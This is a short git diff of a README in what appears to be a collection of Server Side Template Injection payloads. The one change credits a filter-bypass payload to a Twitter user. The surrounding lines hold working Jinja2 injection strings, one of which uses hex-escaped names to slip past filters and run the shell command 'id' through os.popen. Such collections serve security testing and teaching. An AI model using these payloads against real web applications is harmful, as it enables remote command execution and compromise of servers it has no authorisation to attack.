diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md
index 45447693..2c35f22c 100644
--- a/Server Side Template Injection/README.md	
+++ b/Server Side Template Injection/README.md	
@@ -368,7 +368,7 @@ Bypassing `|join`
 http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
 ```
 
-Bypassing most common filters ('.','_','|join','[',']','mro' and 'base'):
+Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:
 ```python
 {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
 ```